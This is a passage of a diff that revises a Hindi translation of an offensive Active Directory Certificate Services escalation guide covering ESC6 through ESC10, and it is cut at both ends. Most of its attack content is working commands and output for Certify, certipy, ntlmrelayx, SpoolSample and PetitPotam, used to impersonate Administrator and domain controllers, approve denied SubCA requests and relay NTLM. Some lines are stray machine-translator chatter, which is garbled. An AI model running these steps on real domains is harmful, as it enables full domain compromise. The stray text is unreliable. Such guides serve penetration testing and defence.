"SAN:"` तर्क के माध्यम से CSR में **शामिल किए गए हैं** `certreq.exe` (अर्थात्, “Name Value Pairs”)। यह ESC1 में **SANs का दुरुपयोग करने की विधि से भिन्न** है क्योंकि यह **खाता जानकारी को प्रमाणपत्र विशेषता में स्टोर करता है बनाम प्रमाणपत्र एक्सटेंशन**। ### दुरुपयोग -संगठन निम्नलिखित `certutil.exe` कमांड का उपयोग करके **जांच सकते हैं कि सेटिंग सक्षम है या नहीं**: +संगठन निम्नलिखित `certutil.exe` कमांड का उपयोग करके **जांच कर सकते हैं कि सेटिंग सक्षम है या नहीं**: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` @@ -205,7 +205,7 @@ Certify.exe find Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -ये सेटिंग्स **सेट** की जा सकती हैं, मान लें कि **डोमेन प्रशासनिक** (या समकक्ष) अधिकार हों, किसी भी सिस्टम से: +ये सेटिंग्स **सेट** की जा सकती हैं, मान लें कि **डोमेन प्रशासनिक** (या समकक्ष) अधिकारों के साथ, किसी भी सिस्टम से: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` @@ -214,8 +214,8 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` {% hint style="warning" %} -मई 2022 के सुरक्षा अपडेट के बाद, नए **प्रमाणपत्रों** में एक **सुरक्षा एक्सटेंशन** होगा जो **अनुरोधकर्ता की `objectSid` संपत्ति** को **सम्मिलित** करेगा। ESC1 के लिए, यह संपत्ति SAN से परिलक्षित होगी, लेकिन **ESC6** के साथ, यह संपत्ति **अनुरोधकर्ता की `objectSid`** को परिलक्षित करती है, और SAN से नहीं।\ -इस प्रकार, **ESC6 का दुरुपयोग करने के लिए**, पर्यावरण को **ESC10** (Weak Certificate Mappings) के प्रति **संवेदनशील होना चाहिए**, जहां **SAN को नए सुरक्षा एक्सटेंशन पर प्राथमिकता दी जाती है**। +मई 2022 के सुरक्षा अपडेट के बाद, नए **प्रमाणपत्रों** में एक **सुरक्षा एक्सटेंशन** होगा जो **अनुरोधकर्ता के `objectSid` गुण** को **सम्मिलित** करेगा। ESC1 के लिए, यह गुण SAN से परिलक्षित होगा, लेकिन **ESC6** के साथ, यह गुण **अनुरोधकर्ता के `objectSid`** को परिलक्षित करता है, और SAN से नहीं।\ +इस प्रकार, **ESC6 का दुरुपयोग करने के लिए**, पर्यावरण को **ESC10** (कमजोर प्रमाणपत्र मैपिंग्स) के लिए **संवेदनशील होना चाहिए**, जहां **SAN को नए सुरक्षा एक्सटेंशन पर प्राथमिकता दी जाती है**। {% endhint %} ## संवेदनशील प्रमाणपत्र प्राधिकरण एक्सेस नियंत्रण - ESC7 @@ -224,17 +224,17 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ #### व्याख्या -एक प्रमाणपत्र प्राधिकरण स्वयं विभिन्न **CA क्रियाओं** को सुरक्षित करने वाले **अनुमतियों का एक समूह** रखता है। इन अनुमतियों को `certsrv.msc` से एक्सेस किया जा सकता है, CA पर राइट क्लिक करके, प्रॉपर्टीज का चयन करके, और सिक्योरिटी टैब पर स्विच करके: +एक प्रमाणपत्र प्राधिकरण स्वयं में एक **अनुमतियों का सेट** रखता है जो विभिन्न **CA क्रियाओं** को सुरक्षित करता है। इन अनुमतियों को `certsrv.msc` से एक्सेस किया जा सकता है, एक CA पर राइट क्लिक करके, प्रॉपर्टीज का चयन करके, और सिक्योरिटी टैब पर स्विच करके:
-इसे [**PSPKI के मॉड्यूल**](https://www.pkisolutions.com/tools/pspki/) के साथ `Get-CertificationAuthority | Get-CertificationAuthorityAcl` का उपयोग करके भी गणना की जा सकती है: +इसे [**PSPKI के मॉड्यूल**](https://www.pkisolutions.com/tools/pspki/) के साथ `Get-CertificationAuthority | Get-CertificationAuthorityAcl` के माध्यम से भी गणना की जा सकती है: ```bash Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access ``` #### दुरुपयोग -यदि आपके पास **`ManageCA`** अधिकारों वाला एक प्रिंसिपल है जो **प्रमाणपत्र प्राधिकरण** पर है, तो हम **PSPKI** का उपयोग करके दूरस्थ रूप से **`EDITF_ATTRIBUTESUBJECTALTNAME2`** बिट को **SAN** निर्दिष्टीकरण की अनुमति देने के लिए पलट सकते हैं ([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)): +यदि आपके पास **`ManageCA`** अधिकारों वाला एक प्रिंसिपल है जो **प्रमाणपत्र प्राधिकरण** पर है, तो हम **PSPKI** का उपयोग करके दूरस्थ रूप से **`EDITF_ATTRIBUTESUBJECTALTNAME2`** बिट को **SAN निर्दिष्टीकरण की अनुमति देने के लिए** पलट सकते हैं ([ECS6](domain-escalation.md#editf\_attributesubjectaltname2-esc6)):
@@ -242,9 +242,9 @@ Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAu यह [**PSPKI के Enable-PolicyModuleFlag**](https://www.sysadmins.lv/projects/pspki/enable-policymoduleflag.aspx) cmdlet के साथ एक सरल रूप में भी संभव है। -**`ManageCertificates`** अधिकार "CA प्रमाणपत्र प्रबंधक अनुमोदन" सुरक्षा को दरकिनार करके **लंबित अनुरोध को मंजूरी देने** की अनुमति देता है। +**`ManageCertificates`** अधिकार "लंबित अनुरोध को स्वीकृत करने" की अनुमति देता है, इस प्रकार "CA प्रमाणपत्र प्रबंधक अनुमोदन" सुरक्षा को दरकिनार करता है। -आप **Certify** और **PSPKI** मॉड्यूल का **संयोजन** करके एक प्रमाणपत्र का अनुरोध कर सकते हैं, इसे मंजूरी दे सकते हैं, और इसे डाउनलोड कर सकते हैं: +आप **Certify** और **PSPKI** मॉड्यूल का **संयोजन** करके एक प्रमाणपत्र का अनुरोध कर सकते हैं, इसे स्वीकृत कर सकते हैं, और इसे डाउनलोड कर सकते हैं: ```powershell # Request a certificate that will require an approval Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded @@ -265,16 +265,16 @@ Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336 #### व्याख्या {% hint style="warning" %} -**पिछले हमले** में **`Manage CA`** अनुमतियों का उपयोग करके **EDITF\_ATTRIBUTESUBJECTALTNAME2** फ्लैग को **सक्षम** किया गया था ताकि **ESC6 हमला** किया जा सके, लेकिन जब तक CA सेवा (`CertSvc`) को पुनः आरंभ नहीं किया जाता, तब तक इसका कोई प्रभाव नहीं होगा। जब किसी उपयोगकर्ता के पास `Manage CA` अधिकार होता है, तो उसे **सेवा को पुनः आरंभ करने की अनुमति** भी होती है। हालांकि, इसका यह **मतलब नहीं है कि उपयोगकर्ता सेवा को दूरस्थ रूप से पुनः आरंभ कर सकता है**। इसके अलावा, **ESC6 अधिकांश पैच किए गए वातावरणों में तुरंत काम नहीं कर सकता** क्योंकि मई 2022 के सुरक्षा अपडेट के कारण। +**पिछले हमले** में **`Manage CA`** अनुमतियों का उपयोग करके **EDITF\_ATTRIBUTESUBJECTALTNAME2** फ्लैग को सक्षम किया गया था ताकि **ESC6 हमला** किया जा सके, लेकिन जब तक CA सेवा (`CertSvc`) को पुनः आरंभ नहीं किया जाता, तब तक इसका कोई प्रभाव नहीं होगा। जब किसी उपयोगकर्ता के पास `Manage CA` अधिकार होता है, तो उसे सेवा को **पुनः आरंभ करने की अनुमति** भी होती है। हालांकि, इसका यह **मतलब नहीं है कि उपयोगकर्ता सेवा को दूरस्थ रूप से पुनः आरंभ कर सकता है**। इसके अलावा, **ESC6 अधिकांश पैच किए गए वातावरणों में तुरंत काम नहीं कर सकता** क्योंकि मई 2022 के सुरक्षा अपडेट के कारण। {% endhint %} इसलिए, यहाँ एक और हमला प्रस्तुत किया गया है। -पूर्व शर्तें: +पूर्वापेक्षाएँ: * केवल **`ManageCA` अनुमति** * **`Manage Certificates`** अनुमति (जो **`ManageCA`** से प्रदान की जा सकती है) -* प्रमाणपत्र टेम्पलेट **`SubCA`** को **सक्षम** होना चाहिए (जिसे **`ManageCA`** से सक्षम किया जा सकता है) +* प्रमाणपत्र टेम्पलेट **`SubCA`** को **सक्षम** किया जाना चाहिए (जो **`ManageCA`** से सक्षम किया जा सकता है) यह तकनीक इस तथ्य पर निर्भर करती है कि `Manage CA` _और_ `Manage Certificates` अधिकार वाले उपयोगकर्ता **असफल प्रमाणपत्र अनुरोधों को जारी कर सकते हैं**। **`SubCA`** प्रमाणपत्र टेम्पलेट **ESC1 के लिए संवेदनशील है**, लेकिन **केवल प्रशासक** ही टेम्पलेट में नामांकन कर सकते हैं। इस प्रकार, एक **उपयोगकर्ता** **`SubCA`** में नामांकन के लिए **अनुरोध कर सकता है** - जिसे **अस्वीकार कर दिया जाएगा** - लेकिन **फिर प्रबंधक द्वारा बाद में जारी किया जाएगा**। @@ -290,7 +290,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) **`SubCA`** टेम्पलेट को CA पर `-enable-template` पैरामीटर के साथ **सक्षम किया जा सकता है**। डिफ़ॉल्ट रूप से, `SubCA` टेम्पलेट सक्षम होता है। ```bash # List templates -certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA' +certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' ## If SubCA is not there, you need to enable it # Enable SubCA @@ -299,7 +299,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -यदि हमने इस हमले के लिए आवश्यक शर्तें पूरी कर ली हैं, तो हम **`SubCA` टेम्प्लेट के आधार पर एक प्रमाणपत्र की मांग करना शुरू कर सकते हैं**। +यदि हमने इस हमले के लिए आवश्यकताएँ पूरी कर ली हैं, तो हम **`SubCA` टेम्पलेट के आधार पर एक प्रमाणपत्र की मांग करना शुरू कर सकते हैं**। **यह अनुरोध अस्वीकार कर दिया जाएगा**, लेकिन हम प्राइवेट की को सहेज लेंगे और अनुरोध ID को नोट कर लेंगे। ```bash @@ -313,7 +313,7 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -हमारे **`Manage CA` और `Manage Certificates`** के साथ, हम फिर **असफल प्रमाणपत्र अनुरोध को जारी कर सकते हैं** `ca` कमांड के साथ और `-issue-request ` पैरामीटर के साथ। +हमारे **`Manage CA` और `Manage Certificates`** के साथ, हम फिर **असफल प्रमाणपत्र अनुरोध को जारी कर सकते हैं** `ca` कमांड के साथ और `-issue-request ` पैरामीटर का उपयोग करके। ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -343,11 +343,11 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) AD CS कई **HTTP-आधारित नामांकन विधियों** का समर्थन करता है जिन्हें प्रशासक अतिरिक्त AD CS सर्वर भूमिकाओं के रूप में स्थापित कर सकते हैं। ये HTTP-आधारित प्रमाणपत्र नामांकन इंटरफेस सभी **NTLM रिले हमलों के लिए संवेदनशील** हैं। NTLM रिले का उपयोग करते हुए, एक हमलावर एक **समझौता किए गए मशीन पर किसी भी इनबाउंड-NTLM-प्रमाणीकरण AD खाते का अनुकरण कर सकता है**। पीड़ित खाते का अनुकरण करते समय, एक हमलावर इन वेब इंटरफेसों तक पहुँच सकता है और **`User` या `Machine` प्रमाणपत्र टेम्पलेटों के आधार पर एक ग्राहक प्रमाणीकरण प्रमाणपत्र का अनुरोध कर सकता है**। * **वेब नामांकन इंटरफेस** (एक पुराने दिखने वाला ASP एप्लिकेशन जो `http:///certsrv/` पर सुलभ है), डिफ़ॉल्ट रूप से केवल HTTP का समर्थन करता है, जो NTLM रिले हमलों के खिलाफ सुरक्षा नहीं कर सकता। इसके अलावा, यह स्पष्ट रूप से केवल NTLM प्रमाणीकरण की अनुमति देता है अपने Authorization HTTP हेडर के माध्यम से, इसलिए अधिक सुरक्षित प्रोटोकॉल जैसे कि Kerberos उपयोग नहीं किए जा सकते। -* **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) वेब सेवा, और **Network Device Enrollment Service** (NDES) डिफ़ॉल्ट रूप से उनके Authorization HTTP हेडर के माध्यम से बातचीत प्रमाणीकरण का समर्थन करते हैं। बातचीत प्रमाणीकरण **Kerberos और NTLM का समर्थन करता है**; नतीजतन, एक हमलावर रिले हमलों के दौरान NTLM प्रमाणीकरण तक **बातचीत को कम कर सकता है**। ये वेब सेवाएँ कम से कम HTTPS को डिफ़ॉल्ट रूप से सक्षम करती हैं, लेकिन दुर्भाग्य से HTTPS अकेले NTLM रिले हमलों के खिलाफ सुरक्षा नहीं करता। केवल जब HTTPS को चैनल बाइंडिंग के साथ जोड़ा जाता है, तब ही HTTPS सेवाएँ NTLM रिले हमलों से सुरक्षित हो सकती हैं। दुर्भाग्य से, AD CS IIS पर प्रमाणीकरण के लिए विस्तारित सुरक्षा को सक्षम नहीं करता है, जो चैनल बाइंडिंग को सक्षम करने के लिए आवश्यक है। +* **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) वेब सेवा, और **Network Device Enrollment Service** (NDES) डिफ़ॉल्ट रूप से उनके Authorization HTTP हेडर के माध्यम से negotiate प्रमाणीकरण का समर्थन करते हैं। Negotiate प्रमाणीकरण **Kerberos और NTLM का समर्थन करता है**; नतीजतन, एक हमलावर रिले हमलों के दौरान NTLM प्रमाणीकरण के लिए **नीचे बातचीत कर सकता है**। ये वेब सेवाएँ कम से कम HTTPS को डिफ़ॉल्ट रूप से सक्षम करती हैं, लेकिन दुर्भाग्य से HTTPS अकेले NTLM रिले हमलों के खिलाफ सुरक्षा नहीं करता। केवल जब HTTPS को चैनल बाइंडिंग के साथ जोड़ा जाता है, तब ही HTTPS सेवाएँ NTLM रिले हमलों से सुरक्षित हो सकती हैं। दुर्भाग्य से, AD CS IIS पर Extended Protection for Authentication को सक्षम नहीं करता है, जो चैनल बाइंडिंग को सक्षम करने के लिए आवश्यक है। -NTLM रिले हमलों के साथ सामान्य **समस्याएं** यह हैं कि **NTLM सत्र आमतौर पर छोटे होते हैं** और हमलावर **NTLM हस्ताक्षर को लागू करने वाली सेवाओं के साथ बातचीत नहीं** कर सकता। +NTLM रिले हमलों के साथ सामान्य **समस्याएँ** यह हैं कि **NTLM सत्र आमतौर पर छोटे होते हैं** और हमलावर **NTLM साइनिंग लागू करने वाली सेवाओं के साथ बातचीत नहीं कर सकता**। -हालांकि, NTLM रिले हमले का दुरुपयोग करके उपयोगकर्ता के लिए एक प्रमाणपत्र प्राप्त करना इस सीमाओं को हल करता है, क्योंकि सत्र तब तक जीवित रहेगा जब तक प्रमाणपत्र मान्य है और प्रमाणपत्र का उपयोग **NTLM हस्ताक्षर को लागू करने वाली सेवाओं का उपयोग करने के लिए किया जा सकता है**। चुराए गए प्रमाणपत्र का उपयोग कैसे करें, इसके लिए देखें: +हालांकि, NTLM रिले हमले का दुरुपयोग करके उपयोगकर्ता के लिए एक प्रमाणपत्र प्राप्त करना इस सीमाओं को हल करता है, क्योंकि सत्र तब तक जीवित रहेगा जब तक प्रमाणपत्र मान्य है और प्रमाणपत्र का उपयोग **NTLM साइनिंग लागू करने वाली सेवाओं** का उपयोग करने के लिए किया जा सकता है। चुराए गए प्रमाणपत्र का उपयोग कैसे करें, इसके लिए देखें: {% content-ref url="account-persistence.md" %} [account-persistence.md](account-persistence.md) @@ -367,15 +367,17 @@ Certify.exe cas ```
-Enterprise CAs अपने AD ऑब्जेक्ट में `msPKI-Enrollment-Servers` प्रॉपर्टी में **CES एंडपॉइंट्स को स्टोर करते हैं**। **Certutil.exe** और **PSPKI** इन एंडपॉइंट्स को पार्स करके लिस्ट कर सकते हैं: +Enterprise CAs अपने AD ऑब्जेक्ट में `msPKI-Enrollment-Servers` प्रॉपर्टी में **CES endpoints को भी स्टोर करते हैं**। **Certutil.exe** और **PSPKI** इन endpoints को पार्स करके लिस्ट कर सकते हैं: ``` certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA ``` -Since there is no English text provided outside of the markdown and HTML syntax, there is nothing to translate. The content you've provided is an image tag and caption tag with no text. If you provide English text, I can translate it into Hindi for you. +Since there is no English text provided outside of the markdown and HTML syntax, there is nothing to translate. The content you've provided is an image tag and caption placeholder from a markdown file, which doesn't contain any translatable text. If you have any specific English text that you need translated to Hindi, please provide it, and I'll be happy to assist. ```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ``` +
+ #### Certify के साथ दुरुपयोग ```bash ## In the victim machine @@ -391,11 +393,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### [Certipy](https://github.com/ly4k/Certipy) के साथ दुरुपयोग +#### [Certipy](https://github.com/ly4k/Certipy) का दुरुपयोग -डिफ़ॉल्ट रूप से, Certipy `Machine` या `User` टेम्प्लेट के आधार पर एक प्रमाणपत्र का अनुरोध करेगा, यह निर्भर करता है कि क्या रिलेयेड अकाउंट नाम `$` से समाप्त होता है। `-template` पैरामीटर के साथ एक अन्य टेम्प्लेट को निर्दिष्ट करना संभव है। +मानक रूप से, Certipy `Machine` या `User` टेम्प्लेट के आधार पर एक प्रमाणपत्र का अनुरोध करेगा, यह निर्भर करता है कि क्या रिलेयेड अकाउंट नाम `$` से समाप्त होता है। `-template` पैरामीटर के साथ एक अन्य टेम्प्लेट को निर्दिष्ट करना संभव है। -हम फिर [PetitPotam](https://github.com/ly4k/PetitPotam) जैसी तकनीक का उपयोग करके प्रमाणीकरण को मजबूर कर सकते हैं। डोमेन कंट्रोलर्स के लिए, हमें `-template DomainController` निर्दिष्ट करना चाहिए। +हम फिर प्रमाणीकरण को मजबूर करने के लिए [PetitPotam](https://github.com/ly4k/PetitPotam) जैसी तकनीक का उपयोग कर सकते हैं। डोमेन कंट्रोलर्स के लिए, हमें `-template DomainController` निर्दिष्ट करना चाहिए। ``` $ certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -410,20 +412,20 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ``` ## सुरक्षा एक्सटेंशन नहीं - ESC9 -### व्याख्या +### स्पष्टीकरण -ESC9 **`msPKI-Enrollment-Flag`** मान **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) को संदर्भित करता है। यदि यह फ्लैग किसी प्रमाणपत्र टेम्पलेट पर सेट होता है, तो **नया `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा एक्सटेंशन** एम्बेड नहीं किया जाएगा। ESC9 केवल तब उपयोगी होता है जब `StrongCertificateBindingEnforcement` को `1` (डिफ़ॉल्ट) पर सेट किया गया हो, क्योंकि Kerberos या Schannel के लिए कमजोर प्रमाणपत्र मैपिंग कॉन्फ़िगरेशन का दुरुपयोग ESC10 के बिना भी किया जा सकता है — ESC9 के बिना — क्योंकि आवश्यकताएँ समान होंगी। +ESC9 **`msPKI-Enrollment-Flag`** मान **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) को संदर्भित करता है। यदि यह फ्लैग किसी प्रमाणपत्र टेम्पलेट पर सेट होता है, तो **नया `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा एक्सटेंशन** एम्बेड नहीं किया जाएगा। ESC9 केवल तब उपयोगी है जब `StrongCertificateBindingEnforcement` को `1` (डिफ़ॉल्ट) पर सेट किया गया हो, क्योंकि Kerberos या Schannel के लिए कमजोर प्रमाणपत्र मैपिंग कॉन्फ़िगरेशन का दुरुपयोग ESC10 के बिना — ESC9 के रूप में — किया जा सकता है, क्योंकि आवश्यकताएँ समान होंगी। -* `StrongCertificateBindingEnforcement` को `2` (डिफ़ॉल्ट: `1`) पर सेट नहीं किया गया है या `CertificateMappingMethods` में `UPN` फ्लैग शामिल है +* `StrongCertificateBindingEnforcement` `2` पर सेट नहीं है (डिफ़ॉल्ट: `1`) या `CertificateMappingMethods` में `UPN` फ्लैग शामिल है * प्रमाणपत्र में `msPKI-Enrollment-Flag` मान में `CT_FLAG_NO_SECURITY_EXTENSION` फ्लैग होता है * प्रमाणपत्र किसी भी क्लाइंट प्रमाणीकरण EKU को निर्दिष्ट करता है -* किसी भी खाता A पर `GenericWrite` का उपयोग करके किसी भी खाता B को समझौता करना +* किसी भी खाता A पर `GenericWrite` किसी भी खाता B को समझौता करने के लिए ### दुरुपयोग इस मामले में, `John@corp.local` के पास `Jane@corp.local` पर `GenericWrite` है, और हम `Administrator@corp.local` को समझौता करना चाहते हैं। `Jane@corp.local` को प्रमाणपत्र टेम्पलेट `ESC9` में नामांकन की अनुमति है जो `msPKI-Enrollment-Flag` मान में `CT_FLAG_NO_SECURITY_EXTENSION` फ्लैग को निर्दिष्ट करता है। -पहले, हम `Jane` का हैश प्राप्त करते हैं, उदाहरण के लिए Shadow Credentials का उपयोग करके (हमारे `GenericWrite` का उपयोग करके)। +पहले, हम `Jane` का हैश प्राप्त करते हैं, उदाहरण के लिए Shadow Credentials का उपयोग करते हुए (हमारे `GenericWrite` का उपयोग करके)।
@@ -431,15 +433,15 @@ ESC9 **`msPKI-Enrollment-Flag`** मान **`CT_FLAG_NO_SECURITY_EXTENSION`** (
-यह एक संयम उल्लंघन नहीं है, क्योंकि `Administrator` उपयोगकर्ता का `userPrincipalName` `Administrator@corp.local` है न कि `Administrator`। +यह एक संयम उल्लंघन नहीं है, क्योंकि `Administrator` उपयोगकर्ता का `userPrincipalName` `Administrator@corp.local` है, न कि `Administrator`। -अब, हम असुरक्षित प्रमाणपत्र टेम्पलेट `ESC9` का अनुरोध करते हैं। हमें प्रमाणपत्र का अनुरोध `Jane` के रूप में करना होगा। +अब, हम असुरक्षित प्रमाणपत्र टेम्पलेट `ESC9` का अनुरोध करते हैं। हमें प्रमाणपत्र को `Jane` के रूप में अनुरोध करना होगा।
-ध्यान दें कि प्रमाणपत्र में `userPrincipalName` `Administrator` है और जारी किए गए प्रमाणपत्र में कोई "ऑब्जेक्ट SID" नहीं है। +ध्यान दें कि प्रमाणपत्र में `userPrincipalName` `Administrator` है और जारी किए गए प्रमाणपत्र में कोई "object SID" नहीं है। -फिर, हम `Jane` का `userPrincipalName` कुछ और होने के लिए वापस बदलते हैं, जैसे कि उसका मूल `userPrincipalName` `Jane@corp.local`। +फिर, हम `Jane` का `userPrincipalName` कुछ और होने के लिए बदलते हैं, जैसे कि उसका मूल `userPrincipalName` `Jane@corp.local`।
@@ -449,7 +451,7 @@ ESC9 **`msPKI-Enrollment-Flag`** मान **`CT_FLAG_NO_SECURITY_EXTENSION`** ( ## कमजोर प्रमाणपत्र मैपिंग्स - ESC10 -### व्याख्या +### स्पष्टीकरण ESC10 डोमेन कंट्रोलर पर दो रजिस्ट्री कुंजी मानों को संदर्भित करता है। @@ -459,7 +461,7 @@ ESC10 डोमेन कंट्रोलर पर दो रजिस्ट **मामला 1** -`StrongCertificateBindingEnforcement` को `0` पर सेट किया गया +`StrongCertificateBindingEnforcement` को `0` पर सेट किया गया है **मामला 2** @@ -467,28 +469,28 @@ ESC10 डोमेन कंट्रोलर पर दो रजिस्ट ### दुरुपयोग मामला 1 -* `StrongCertificateBindingEnforcement` को `0` पर सेट किया गया -* किसी भी खाता A पर `GenericWrite` का उपयोग करके किसी भी खाता B को समझौता करना +* `StrongCertificateBindingEnforcement` को `0` पर सेट किया गया है +* किसी भी खाता A पर `GenericWrite` किसी भी खाता B को समझौता करने के लिए इस मामले में, `John@corp.local` के पास `Jane@corp.local` पर `GenericWrite` है, और हम `Administrator@corp.local` को समझौता करना चाहते हैं। दुरुपयोग के चरण लगभग ESC9 के समान हैं, सिवाय इसके कि किसी भी प्रमाणपत्र टेम्पलेट का उपयोग किया जा सकता है। -पहले, हम `Jane` का हैश प्राप्त करते हैं, उदाहरण के लिए Shadow Credentials का उपयोग करके (हमारे `GenericWrite` का उपयोग करके)। +पहले, हम `Jane` का हैश प्राप्त करते हैं, उदाहरण के लिए Shadow Credentials का उपयोग करते हुए (हमारे `GenericWrite` का उपयोग करके)। -
+
अगला, हम `Jane` का `userPrincipalName` `Administrator` होने के लिए बदलते हैं। ध्यान दें कि हम `@corp.local` भाग को छोड़ रहे हैं।
-यह एक संयम उल्लंघन नहीं है, क्योंकि `Administrator` उपयोगकर्ता का `userPrincipalName` `Administrator@corp.local` है न कि `Administrator`। +यह एक संयम उल्लंघन नहीं है, क्योंकि `Administrator` उपयोगकर्ता का `userPrincipalName` `Administrator@corp.local` है, न कि `Administrator`। -अब, हम किसी भी प्रमाणपत्र का अनुरोध करते हैं जो क्लाइंट प्रमाणीकरण की अनुमति देता है, उदाहरण के लिए डिफ़ॉल्ट `User` टेम्पलेट। हमें प्रमाणपत्र का अनुरोध `Jane` के रूप में करना होगा। +अब, हम किसी भी प्रमाणपत्र का अनुरोध करते हैं जो क्लाइंट प्रमाणीकरण की अनुमति देता है, उदाहरण के लिए डिफ़ॉल्ट `User` टेम्पलेट। हमें प्रमाणपत्र को `Jane` के रूप में अनुरोध करना होगा।
ध्यान दें कि प्रमाणपत्र में `userPrincipalName` `Administrator` है। -फिर, हम `Jane` का `userPrincipalName` कुछ और होने के लिए वापस बदलते हैं, जैसे कि उसका मूल `userPrincipalName` `Jane@corp.local`। +फिर, हम `Jane` का `userPrincipalName` कुछ और होने के लिए बदलते हैं, जैसे कि उसका मूल `userPrincipalName` `Jane@corp.local`।
@@ -499,11 +501,11 @@ ESC10 डोमेन कंट्रोलर पर दो रजिस्ट ### दुरुपयोग मामला 2 * `CertificateMappingMethods` में `UPN` बिट फ्लैग (`0x4`) शामिल है -* किसी भी खाता A पर `GenericWrite` का उपयोग करके किसी भी खाता B को समझौता करना जिसमें `userPrincipalName` गुण नहीं है (मशीन खाते और बिल्ट-इन डोमेन प्रशासक `Administrator`) +* किसी भी खाता A पर `GenericWrite` किसी भी खाता B को समझौता करने के लिए बिना `userPrincipalName` गुण (मशीन खाते और बिल्ट-इन डोमेन प्रशासक `Administrator`) के इस मामले में, `John@corp.local` के पास `Jane@corp.local` पर `GenericWrite` है, और हम डोमेन कंट्रोलर `DC$@corp.local` को समझौता करना चाहते हैं। -पहले, हम `Jane` का हैश प्राप्त करते हैं, उदाहरण के लिए Shadow Credentials का उपयोग करके (हमारे `GenericWrite` का उपयोग करके)। +पहले, हम `Jane` का हैश प्राप्त करते हैं, उदाहरण के लिए Shadow Credentials का उपयोग करते हुए (हमारे `GenericWrite` का उपयोग करके)।
@@ -511,6 +513,6 @@ ESC10 डोमेन कंट्रोलर पर दो रजिस्ट
-यह एक संयम उल्लंघन नहीं है, क्योंकि `DC$` कंप्यूटर खाते में `userPrincipalName` नहीं है। +यह एक संयम उल्लंघन नहीं है, क्योंकि `DC$` कंप्यूटर खाते का `userPrincipalName` नहीं है। -अब, हम किसी भी प्रमाणपत्र का अनुरोध करते हैं जो क्लाइंट प्रमाणीकरण की अनुमति देता है, उदाहरण के लिए डिफ़ॉल्ट `User` +अब, हम किसी भी प्रमाणपत्र का अनुरोध करते हैं जो क्लाइंट प्रमाणीकरण की अनुमति देता है, उदाहरण के लिए डिफ़ॉल्ट `User` टेम्पलेट। हमें प्रमाणपत्र को `Jane` के रूप में अनुर